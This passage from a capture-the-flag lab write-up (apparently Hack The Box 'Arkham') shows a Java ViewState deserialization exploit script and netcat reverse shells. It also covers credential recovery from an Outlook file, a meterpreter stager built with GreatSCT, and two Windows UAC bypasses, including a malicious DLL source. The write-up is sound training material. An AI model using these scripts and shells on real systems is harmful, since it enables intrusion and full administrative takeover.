b'\xac\xed\x00\x05sr\x00\x17java.util.PriorityQueue\x94\xda0\xb4\xfb?\x82\xb1\x03\x00\x02I\x00\x04sizeL\x00\ncomparatort\x00\x16Ljava/util/Comparator;xp\x00\x00\x00\x02s}\x00\x00\x00\x01\x00'
That worked. I’m going to add one bit to clean up the message send to stderr by importing devnull from os:
>>> with open(devnull, 'w') as null:
... payload = subprocess.check_output(['ysoserial', 'BeanShell1', 'ping 10.10.14.11'], stderr=null)
...
>>> payload[:100]
b'\xac\xed\x00\x05sr\x00\x17java.util.PriorityQueue\x94\xda0\xb4\xfb?\x82\xb1\x03\x00\x02I\x00\x04sizeL\x00\ncomparatort\x00\x16Ljava/util/Comparator;xp\x00\x00\x00\x02s}\x00\x00\x00\x01\x00'
Perfect.
Padding
Now I can add that to my script. I’ll pass in the method and the command via argv, and clean up a bunch of the unnecessary checks / output:
#!/usr/bin/env python3
import requests
import subprocess
import sys
from base64 import b64encode
from Crypto.Cipher import DES
from Crypto.Hash import SHA, HMAC
from os import devnull
from urllib.parse import quote_plus as urlencode
with open(devnull, 'w') as null:
payload = subprocess.check_output(['ysoserial', sys.argv[1], sys.argv[2]], stderr=null)
d = DES.new(b'JsF9876-', DES.MODE_ECB)
enc_payload = d.encrypt(payload)
sig = HMAC.new(b'JsF9876-', enc_payload, SHA).digest()
viewstate = b64encode(enc_payload + sig)
sess = requests.session()
sess.get('http://10.10.10.130:8080/userSubscribe.faces')
resp = sess.post('http://10.10.10.130:8080/userSubscribe.faces',
data = {'j_id_jsp_1623871077_1%3Aemail': 'd',
'j_id_jsp_1623871077_1%3Asubmit': 'SIGN+UP',
'j_id_jsp_1623871077_1_SUBMIT': '1',
'javax.faces.ViewState': viewstate})
When I run this, I get an error:
root@kali# ./arkham_cmd.py BeanShell1 'ping 10.10.14.11'
Traceback (most recent call last):
File "./arkham_cmd.py", line 17, in <module>
enc_payload = d.encrypt(payload)
File "/usr/local/lib/python3.7/dist-packages/Crypto/Cipher/_mode_ecb.py", line 140, in encrypt
raise ValueError("Data must be aligned to block boundary in ECB mode")
ValueError: Data must be aligned to block boundary in ECB mode
Line 17 is enc_payload = d.encrypt(payload). It is complaining about data needing to be aligned to the block boundary.
Some reading shows that I should be using PKCS padding. There are libraries that can do this, but it’s easy enough to do manually. I need to pad out to an even 64-bits (8 bytes). And the number of padding bytes is the byte value. This site has some examples, including code.
I’ll add in these lines:
pad = (8 - (len(payload) % 8)) % 8
padded = payload + (chr(pad)*pad).encode()
The first line gets the length of the payload mod 8, giving a number 0-7. I subtract that from 8, giving a number between 1 and 8. That would be the correct length, except if there’s 8 pad bytes, there should be 0. So I run that mod 8 again, to get a number between 0-7. The chr(pad)*pad will produce pad bytes of value pad.
I’ll add the padding and update the encryption line to now encrypt padded, and get this:
#!/usr/bin/env python3
import requests
import subprocess
import sys
from base64 import b64encode
from Crypto.Cipher import DES
from Crypto.Hash import SHA, HMAC
from os import devnull
from urllib.parse import quote_plus as urlencode
with open(devnull, 'w') as null:
payload = subprocess.check_output(['ysoserial', sys.argv[1], sys.argv[2]], stderr=null)
pad = (8 - (len(payload) % 8)) % 8
padded = payload + (chr(pad)*pad).encode()
d = DES.new(b'JsF9876-', DES.MODE_ECB)
enc_payload = d.encrypt(padded)
sig = HMAC.new(b'JsF9876-', enc_payload, SHA).digest()
viewstate = b64encode(enc_payload + sig)
sess = requests.session()
sess.get('http://10.10.10.130:8080/userSubscribe.faces')
resp = sess.post('http://10.10.10.130:8080/userSubscribe.faces',
data = {'j_id_jsp_1623871077_1%3Aemail': 'd',
'j_id_jsp_1623871077_1%3Asubmit': 'SIGN+UP',
'j_id_jsp_1623871077_1_SUBMIT': '1',
'javax.faces.ViewState': viewstate})
I’ll also start tcpdump -i tun0 icmp and run it to ping me… and nothing happens:
root@kali# ./arkham_cmd.py BeanShell1 'ping 10.10.14.11'
I’ll start working through the payloads one by one… and when I get to CommonsCollections5, I get a ping:
root@kali# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
16:27:33.898247 IP 10.10.10.130 > kali: ICMP echo request, id 1, seq 1, length 40
16:27:33.898266 IP kali > 10.10.10.130: ICMP echo reply, id 1, seq 1, length 40
16:27:34.910181 IP 10.10.10.130 > kali: ICMP echo request, id 1, seq 2, length 40
16:27:34.910199 IP kali > 10.10.10.130: ICMP echo reply, id 1, seq 2, length 40
16:27:35.925949 IP 10.10.10.130 > kali: ICMP echo request, id 1, seq 3, length 40
16:27:35.925964 IP kali > 10.10.10.130: ICMP echo reply, id 1, seq 3, length 40
16:27:36.938872 IP 10.10.10.130 > kali: ICMP echo request, id 1, seq 4, length 40
16:27:36.938903 IP kali > 10.10.10.130: ICMP echo reply, id 1, seq 4, length 40
CommonsCollections6 also works. I’ll update the script to always use one of those, and just take the command. That gives my final command script:
#!/usr/bin/env python3
import requests
import subprocess
import sys
from base64 import b64encode
from Crypto.Cipher import DES
from Crypto.Hash import SHA, HMAC
from os import devnull
from urllib.parse import quote_plus as urlencode
with open(devnull, 'w') as null:
payload = subprocess.check_output(['ysoserial', 'CommonsCollections5', sys.argv[1]], stderr=null)
pad = (8 - (len(payload) % 8)) % 8
padded = payload + (chr(pad)*pad).encode()
d = DES.new(b'JsF9876-', DES.MODE_ECB)
enc_payload = d.encrypt(padded)
sig = HMAC.new(b'JsF9876-', enc_payload, SHA).digest()
viewstate = b64encode(enc_payload + sig)
sess = requests.session()
sess.get('http://10.10.10.130:8080/userSubscribe.faces')
resp = sess.post('http://10.10.10.130:8080/userSubscribe.faces',
data = {'j_id_jsp_1623871077_1%3Aemail': 'd',
'j_id_jsp_1623871077_1%3Asubmit': 'SIGN+UP',
'j_id_jsp_1623871077_1_SUBMIT': '1',
'javax.faces.ViewState': viewstate})
Shell
I’ll use my script to copy nc64.exe to Arkham and run it. I’ll select an applocker safe directory to write to. First I’ll start python3 -m http.server with nc64.exe in that directory. Then I’ll run:
root@kali# ./arkham_cmd.py "powershell -c Invoke-WebRequest -uri 'http://10.10.14.11/nc64.exe'
-outfile \windows\System32\spool\drivers\color\n.exe"
I get the request on python (I’ll leave this server running for the rest of the time I’m working this box):
root@kali# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.130 - - [06/Aug/2019 17:06:10] "GET /nc64.exe HTTP/1.1" 200 -
Now I’ll start nc (with rlwrap! for up arrow support) and then run:
root@kali# ./arkham_cmd.py "\windows\System32\spool\drivers\color\n.exe -e cmd 10.10.14.11 443"
And I get a shell in my nc window:
root@kali# rlwrap nc -lnvp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.130.
Ncat: Connection from 10.10.10.130:49720.
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\tomcat\apache-tomcat-8.5.37\bin>whoami
arkham\alfred
From there I can grab user.txt from the alfred home directory:
C:\Users\Alfred\Desktop>type user.txt
ba659321...
Privesc to Batman
Password
Enumeration
Looking around Alfred’s home directory, there’s only a few files outside of appdata:
C:\>dir /s /b /a:-d-h \Users\alfred | findstr /i /v "appdata"
dir /s /b /a:-d-h \Users\alfred | findstr /i /v "appdata"
C:\Users\alfred\Desktop\user.txt
C:\Users\alfred\Documents\tomcat.bat
C:\Users\alfred\Downloads\backups\backup.zip
C:\Users\alfred\Favorites\Bing.url
C:\Users\alfred\Links\Desktop.lnk
C:\Users\alfred\Links\Downloads.lnk
In case those command switches are unintuitive, here’s what they mean.
For dir:
/s- include subfolders/b- bare format, not heading, file size, etc/a:-d-h- Don’t show directories or hidden
For findstr:
/i- case insensitive/v appdata- print only lines that don’t match “appdata”
backup.zip
C:\Users\alfred\Downloads\backups\backup.zip is definitely work looking at. I’ll copy it to my box using smbserver. I’ll need to set a username and password, or the connection won’t work:
C:\>net use \\10.10.14.11\share
System error 1272 has occurred.
You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.
So I’ll start it with:
root@kali# smbserver.py -smb2support -username df -password df share .
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Then connect:
C:\>net use \\10.10.14.11\share /u:df df
The command completed successfully.
And copy the file to my Kali box:
C:\Users\Alfred\Downloads\backups>copy backup.zip \\10.10.14.11\share\
1 file(s) copied.
The file contains an ost file, which is a offline folder file for Microsoft Outlook:
root@kali# unzip -l backup.zip
Archive: backup.zip
Length Date Time Name
--------- ---------- ----- ----
16818176 2019-02-02 18:00 alfred@arkham.local.ost
--------- -------
16818176 1 file
readpst is a tool to parse .pst and .ost files from Linux. I’ll run it on the .ost, and get an
root@kali# readpst alfred@arkham.local.ost
Opening PST file and indexes...
Processing Folder "Deleted Items"
Processing Folder "Inbox"
Processing Folder "Outbox"
Processing Folder "Sent Items"
Processing Folder "Calendar"
Processing Folder "Contacts"
Processing Folder "Conversation Action Settings"
Processing Folder "Drafts"
Processing Folder "Journal"
Processing Folder "Junk E-Mail"
Processing Folder "Notes"
Processing Folder "Tasks"
Processing Folder "Sync Issues"
"Inbox" - 0 items done, 7 items skipped.
Processing Folder "RSS Feeds"
Processing Folder "Quick Step Settings"
"alfred@arkham.local.ost" - 15 items done, 0 items skipped.
"Calendar" - 0 items done, 3 items skipped.
Processing Folder "Conflicts"
Processing Folder "Local Failures"
Processing Folder "Server Failures"
"Sync Issues" - 3 items done, 0 items skipped.
"Drafts" - 1 items done, 0 items skipped.
This creates five files, but only Drafts.mbox isn’t empty:
-rwxrwx--- 1 root vboxsf 0 Aug 7 02:03 alfred@arkham.local.ost.calendar
-rwxrwx--- 1 root vboxsf 0 Aug 7 02:03 alfred@arkham.local.ost.contacts
-rwxrwx--- 1 root vboxsf 0 Aug 7 02:03 alfred@arkham.local.ost.journal
-rwxrwx--- 1 root vboxsf 0 Aug 7 02:03 alfred@arkham.local.ost.mbox
-rwxrwx--- 1 root vboxsf 51857 Aug 7 02:03 Drafts.mbox
.mbox is a email mailbox file format that stores multiple messages in a single file, and does it as text. I can use less to view it, or open it in mutt, a Linux command line mail client.
I’ll use mutt -R -f Drafts.mbox , where -R says to open as read only, and -f says to open a file. There may be a question about creating a root mailbox (either way is fine, I’ll pick no). I also don’t need to remove a lock count. Then I get the mainbox:
There’s only a single message. I’ll hit enter to view it:
I can see the message is to Batman, with no subject. There’s a bunch of HTML. If I scroll down (or hit the end key), I see there’s an attachment:
It’s a png image, and it says to use ‘v’ to view this part. I’ll hit v, and it lists two attachments:
The first is the HTML that I saw in the reader window. I’ll use the down arrow key to select the second, and hit Enter. The image opens:
I now have a password for the batman account, “Zx^#QZX+T!123”.
Low Priv Shell
I tried two different ways to get a solid session as batman.
PSSession
With my alfred shell, I can see that batman is both a remote management user and an administrator:
C:\tomcat\apache-tomcat-8.5.37\bin>net user batman
net user batman
User name Batman
Full Name
Comment
User's comment
Country/region code 001 (United States)
Account active Yes
Account expires Never
Password last set 2/3/2019 9:25:50 AM
Password expires Never
Password changeable 2/3/2019 9:25:50 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 8/8/2019 12:45:38 AM
Logon hours allowed All
Local Group Memberships *Administrators *Remote Management Use
*Users
Global Group memberships *None
The command completed successfully.
I can use Power Shell sessions and New-PSSession to get a shell running as batman:
C:\Users\Alfred>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\Alfred> $username = "arkham\batman"
PS C:\Users\Alfred> $password = "Zx^#QZX+T!123"
PS C:\Users\Alfred> $secstr = New-Object -TypeName System.Security.SecureString
PS C:\Users\Alfred> $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
PS C:\Users\Alfred> $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr
PS C:\Users\Alfred> new-pssession -computername . -credential $cred
Id Name ComputerName ComputerType State ConfigurationName Availability
-- ---- ------------ ------------ ----- ----------------- ------------
1 WinRM1 localhost RemoteMachine Opened Microsoft.PowerShell Available
PS C:\Users\Alfred> enter-pssession 1
[localhost]: PS C:\Users\Batman\Documents> whoami
arkham\batman
I had a lot of trouble with this shell. So I just had nc connect back as batman and get a better shell:
[localhost]: PS C:\Users\Batman\Documents> \windows\System32\spool\drivers\color\n.exe -e cmd 10.10.14.11 443
On Kali:
root@kali# rlwrap nc -lnvp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.130.
Ncat: Connection from 10.10.10.130:49697.
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Batman\Documents>
WinRM
For kicks, I wanted to see if it would be any different if I made a WinRM connection to the box as batman. I had noticed that Arkham was listening on 5985:
C:\tomcat\apache-tomcat-8.5.37\bin>netstat -ano | findstr 5985
netstat -ano | findstr 5985
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP [::]:5985 [::]:0 LISTENING 4
TCP [::1]:5985 [::1]:49692 ESTABLISHED 4
TCP [::1]:5985 [::1]:49700 ESTABLISHED 4
TCP [::1]:49692 [::1]:5985 ESTABLISHED 5996
TCP [::1]:49700 [::1]:5985 ESTABLISHED 5996
So it must be a firewall preventing me from accessing it from the internet. I’ll upload chisel (for more details check out my previous post on chisel or example where I used it on Sizzle. I used the same smb share from earlier, and saved the binary as c.exe in the color. Then I run the server to listen on 8000:
root@kali:/opt/chisel# ./chisel server -p 8000 --reverse
2019/08/07 15:34:44 server: Reverse tunnelling enabled
2019/08/07 15:34:44 server: Fingerprint bd:5f:30:b4:67:b7:da:52:05:ee:1f:0b:db:23:a8:0e
2019/08/07 15:34:44 server: Listening on 0.0.0.0:8000...
And then connect with the client forwarding port 5985 on my local box to 5985 on Arkham:
C:\>\windows\System32\spool\drivers\color\c.exe client 10.10.14.11:8000 R:5985:127.0.0.1:5985
2019/08/08 01:04:54 client: Connecting to ws://10.10.14.11:8000
2019/08/08 01:04:54 client: Fingerprint bd:5f:30:b4:67:b7:da:52:05:ee:1f:0b:db:23:a8:0e
2019/08/08 01:04:54 client: Connected (Latency 36.612ms)
Now I just connect from my local host. I’ve been looking for an excuse to try evil-winrm, so I gave it a shot. I cloned the repo, and then made a copy of evil-winrm.rb in my arkham directory. I edited the script in the following sections to add the username, password, endpoint hostname:
...[snip]...
# Set the path for your scripts (ps1 files) and your executables (exe files)
$scripts_path = "/opt/evil-winrm"
$executables_path = "/opt/evil-winrm"
# Connection parameters, set your ip address or hostname, your user and password
conn = WinRM::Connection.new(
endpoint: 'http://localhost:5985/wsman',
user: 'arkham\batman',
password: 'Zx^#QZX+T!123',
:no_ssl_peer_verification => true,
# Below, config for SSL, uncomment if needed and set cert files
# transport: :ssl,
# client_cert: 'certnew.cer',
# client_key: 'client.key',
)
...[snip]...
I also added two paths for scripts and executables. I won’t use those now, but if I like the tool, I could see starting to build a place to collect stuff I want to run on target.
Then I run it (without needing rlwrap), and get a solid WinRM shell:
root@kali# ruby evil-winrm.rb
Info: Starting Evil-WinRM shell v1.1
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Batman\Documents> whoami
arkham\batman
UAC ByPass
Enumeration
With either shell, I have a couple protections to content with. First, despite being in a shell owned by Batman, who is in the administrators group, I can’t access the administrator desktop:
PS C:\Users\Batman\Documents> type \users\administrator\desktop\root.txt
Access is denied
At line:1 char:1
+ type \users\administrator\desktop\root.txt
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\users\administrator\desktop\root.txt:String) [Get-Content], UnauthorizedAccessException
+ FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand
Cannot find path 'C:\users\administrator\desktop\root.txt' because it does not exist.
At line:1 char:1
+ type \users\administrator\desktop\root.txt
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (C:\users\administrator\desktop\root.txt:String) [Get-Content], ItemNotFoundException
+ FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetContentCommand
That’s because I’m running in a low priv shell:
PS C:\Users\Batman\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Were I in a full admin shell, I’d have a lot more privilege.
Additionally, if I run powershell from my nc shell, or connect in with WinRM, I’m in constrained language mode:
PS C:\Users\Batman\Documents> $executioncontext.sessionstate.languagemode
ConstrainedLanguage
Meterpreter
I was able to break out of CLM using PSByPassCLM, just as I had done in Sizzle. But it didn’t buy me much. To do most UAC bypasses, I’ll need to be in an interactive process. And while I typically try to avoid Metasploit, for process migration, that is the tool to use. Neither of the two UAC bypasses I’ll show will work unless I’m in an interactive process (or a session 1 process).
GreatSCT
I showed an msbuild method for getting meterpreter in my Sizzle post. I’ll use the same technique here, but I’ll use GreatSCT to package it for me. I’ll run three commands to install:
root@kali:/opt# git clone https://github.com/GreatSCT/GreatSCT.git
Cloning into 'GreatSCT'...
remote: Enumerating objects: 727, done.
remote: Total 727 (delta 0), reused 0 (delta 0), pack-reused 727
Receiving objects: 100% (727/727), 10.64 MiB | 2.31 MiB/s, done.
Resolving deltas: 100% (384/384), done.
root@kali:/opt# cd GreatSCT/setup/
root@kali:/opt/GreatSCT/setup# ./setup.sh -c
May take a while. Once it’s done, I can start it up with /GreatSCT.py. At the main menu, you can see the various commands. Since I know what I want to use, I’ll just enter it, but it’s worth taking time to play with the list and info commands and seeing what’s there. The starting menu looks like:
===============================================================================
GreatSCT | [Version]: 1.0
===============================================================================
[Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
===============================================================================
Main Menu
1 tools loaded
Available Commands:
exit Exit GreatSCT
info Information on a specific tool
list List available tools
update Update GreatSCT
use Use a specific tool
Main menu choice:
I’ll enter use bypass, and on hitting enter I get the next menu:
===============================================================================
Great Scott!
===============================================================================
[Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
===============================================================================
GreatSCT-Bypass Menu
26 payloads loaded
Available Commands:
back Go to main GreatSCT menu
checkvt Check virustotal against generated hashes
clean Remove generated artifacts
exit Exit GreatSCT
info Information on a specific payload
list List available payloads
use Use a specific payload
GreatSCT-Bypass command:
I’ll enter list to see the payloads:
===============================================================================
Great Scott!
===============================================================================
[Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
===============================================================================
[*] Available Payloads:
1) installutil/meterpreter/rev_http.py
2) installutil/meterpreter/rev_https.py
3) installutil/meterpreter/rev_tcp.py
4) installutil/powershell/script.py
5) installutil/shellcode_inject/base64.py
6) installutil/shellcode_inject/virtual.py
7) msbuild/meterpreter/rev_http.py
8) msbuild/meterpreter/rev_https.py
9) msbuild/meterpreter/rev_tcp.py
10) msbuild/powershell/script.py
11) msbuild/shellcode_inject/base64.py
12) msbuild/shellcode_inject/virtual.py
13) mshta/shellcode_inject/base64_migrate.py
14) regasm/meterpreter/rev_http.py
15) regasm/meterpreter/rev_https.py
16) regasm/meterpreter/rev_tcp.py
17) regasm/powershell/script.py
18) regasm/shellcode_inject/base64.py
19) regasm/shellcode_inject/virtual.py
20) regsvcs/meterpreter/rev_http.py
21) regsvcs/meterpreter/rev_https.py
22) regsvcs/meterpreter/rev_tcp.py
23) regsvcs/powershell/script.py
24) regsvcs/shellcode_inject/base64.py
25) regsvcs/shellcode_inject/virtual.py
26) regsvr32/shellcode_inject/base64_migrate.py
GreatSCT-Bypass command:
I’ll enter use msbuild/meterpreter/rev_tcp.py, which loads the options screen. On this, I’ll set the LHOST and LPORT:
===============================================================================
Great Scott!
===============================================================================
[Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
===============================================================================
Payload information:
Name: Pure MSBuild C# Reverse TCP Stager
Language: msbuild
Rating: Excellent
Description: pure windows/meterpreter/reverse_tcp stager, no
shellcode
Payload: msbuild/meterpreter/rev_tcp selected
Required Options:
Name Value Description
---- ----- -----------
DOMAIN X Optional: Required internal domain
EXPIRE_PAYLOAD X Optional: Payloads expire after "Y" days
HOSTNAME X Optional: Required system hostname
INJECT_METHOD Virtual Virtual or Heap
LHOST IP of the Metasploit handler
LPORT 4444 Port of the Metasploit handler
PROCESSORS X Optional: Minimum number of processors
SLEEP X Optional: Sleep "Y" seconds, check if accelerated
TIMEZONE X Optional: Check to validate not in UTC
USERNAME X Optional: The required user account
Available Commands:
back Go back
exit Completely exit GreatSCT
generate Generate the payload
options Show the shellcode's options
set Set shellcode option
[msbuild/meterpreter/rev_tcp>>] set LHOST 10.10.14.11
[msbuild/meterpreter/rev_tcp>>] set LPORT 445
Now I will enter generate. When it asks for a base name, I’ll enter arkham. I get the following:
===============================================================================
Great Scott!
===============================================================================
[Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
===============================================================================
[*] Language: msbuild
[*] Payload Module: msbuild/meterpreter/rev_tcp
[*] MSBuild compiles for us, so you just get xml :)
[*] Source code written to: /usr/share/greatsct-output/source/arkham.xml
[*] Metasploit RC file written to: /usr/share/greatsct-output/handlers/arkham.rc
Please press enter to continue >:
When I hit enter, I’m back at the main menu, and I can exit. I’ll move both the files to my local directory for use.
I’ll start msfconsole with the rc file, and it starts the listener:
root@kali# msfconsole -r arkham.rc
, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||
=[ metasploit v5.0.38-dev ]
+ -- --=[ 1914 exploits - 1073 auxiliary - 329 post ]
+ -- --=[ 545 payloads - 45 encoders - 10 nops ]
+ -- --=[ 3 evasion ]
[*] Processing arkham.rc for ERB directives.
resource (arkham.rc)> use exploit/multi/handler
resource (arkham.rc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (arkham.rc)> set LHOST 10.10.14.11
LHOST => 10.10.14.11
resource (arkham.rc)> set LPORT 445
LPORT => 445
resource (arkham.rc)> set ExitOnSession false
ExitOnSession => false
resource (arkham.rc)> exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 10.10.14.11:445
msf5 exploit(multi/handler) >
I’ll move the xml file to target:
PS C:\Users\Batman\appdata\local\temp> iwr -uri 10.10.14.11/arkham.xml -outfile a.xml
And I’ll run it with msbuild:
PS C:\Users\Batman\appdata\local\temp> \Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \Users\Batman\appdata\local\temp\a.xml
\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \Users\Batman\appdata\local\temp\a.xml
Microsoft (R) Build Engine version 4.7.3190.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.
Build started 8/10/2019 1:21:57 AM.
It hangs, but in my metasploit window, I’ve got a session:
[*] Meterpreter session 1 opened (10.10.14.11:445 -> 10.10.10.130:49781) at 2019-08-09 15:51:56 -0400
Not only that, but if I got into that session (sessions -i 1) and the load powershell, I’m out of CLM:
meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_shell
PS > $executioncontext.sessionstate.languagemode
FullLanguage
Migrate to Interactive Process
I want to get into both an interactive process and a x64 process. explorer.exe is the obvious choice:
meterpreter > ps -S explorer
Filtering on 'explorer'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
4796 4772 explorer.exe x64 1 ARKHAM\Batman C:\Windows\explorer.exe
meterpreter > migrate 4796
[*] Migrating from 4892 to 4796...
[*] Migration completed successfully.
This can be flaky. If it doesn’t work, get a new meterpreterer session and try again.
CMSTP UAC Bypass
This article explains how this ByPass works in taking advantage of cmstp.exe. This version starts by getting some C-Sharp source code onto target, and using powershell to compile it to a dll. I’ll grab the Source.cs from the post, upload it to Arkham, and compile it to dll:
PS > iwr -uri 10.10.14.11/Source.cs -outfile Source.cs
PS > Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "CMSTP-UAC-Bypass.dll"
PS > ls
Directory: C:\Users\Batman\appdata\local\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 8/10/2019 1:20 AM 2911 a.xml
-a---- 8/10/2019 1:30 AM 6144 CMSTP-UAC-Bypass.dll
-a---- 8/10/2019 1:30 AM 3623 Source.cs
The next command loads that dll into memory, and then I can call the exported function passing in the command that I want to run, which will be a reverse shell using the nc.exe I already have on ARkham:
PS > [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwd\CMSTP-UAC-Bypass.dll"))
GAC Version Location
--- ------- --------
False v4.0.30319
PS > [CMSTPBypass]::Execute("C:\windows\System32\spool\drivers\color\n.exe -e cmd 10.10.14.11 443")
True
When I run the last line, I get a callback on a listening nc:
root@kali# rlwrap nc -lnvp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.130.
Ncat: Connection from 10.10.10.130:49700.
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
arkham\batman
More importantly, this shell is running in a high privilege context:
C:\Windows\system32>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Disabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled
SeCreatePagefilePrivilege Create a pagefile Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Disabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
And now I can grab the flag:
C:\Users\Administrator\Desktop>type root.txt
636783f9...
SystemPropertiesAdvanced UAC ByPass
Background
HTB’s own egre55 published a UAC ByPass that involves SystemPropertiesAdvanced.exe. The basic idea is that it tries to load srrstr.dll, and because that binary doesn’t exist at any of the standard places at the beginning of the path, it will eventually check \Users\[current user]\AppData\Microsoft\WindowsApps. It won’t exist there either, but as the current user, I can write a dll there.
Write a Dll
In the past I’ve shown how to do this from Visual Studio. For a simple dll, I can also do it from Kali. Since I’ve already got nc on the box, I’ll write a dll to call that.
root@kali# cat nc.cpp
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD dwReason, LPVOID lpReserved)
{
switch(dwReason)
{
case DLL_PROCESS_ATTACH:
WinExec("C:\\windows\\System32\\spool\\drivers\\color\\n.exe -e cmd 10.10.14.11 443", 0);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return 0;
}
I can compile with mingw32:
root@kali# i686-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL nc.cpp
root@kali# i686-w64-mingw32-g++ -shared -o nc.dll nc.o -Wl,--out-implib,nc.a
The first command creates nc.o. The second creates nc.a, and more importantly, nc.dll.
Shell
Now I’ll upload this dll to Arkham:
meterpreter > upload nc.dll srrstr.dll
[*] uploading : nc.dll -> srrstr.dll
[*] Uploaded 233.24 KiB of 233.24 KiB (100.0%): nc.dll -> srrstr.dll
[*] uploaded : nc.dll -> srrstr.dll
I can test the dll by running it with rundll32:
meterpreter > shell
Process 3060 created.
Channel 6 created.
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\users\batman\appdata\local\microsoft\windowsapps>rundll32 srrstr.dll,DllMain
I get a callback…just now a privileged one, since I’m calling it from an unprivileged process.
Now I’ll run SystemPropertiesAdvanced.exe:
C:\Windows\SysWOW64>SystemPropertiesAdvanced.exe
I get a callback with a full admin shell:
root@kali# rlwrap nc -lnvp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.130.
Ncat: Connection from 10.10.10.130:49704.
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami /priv
whoami /priv
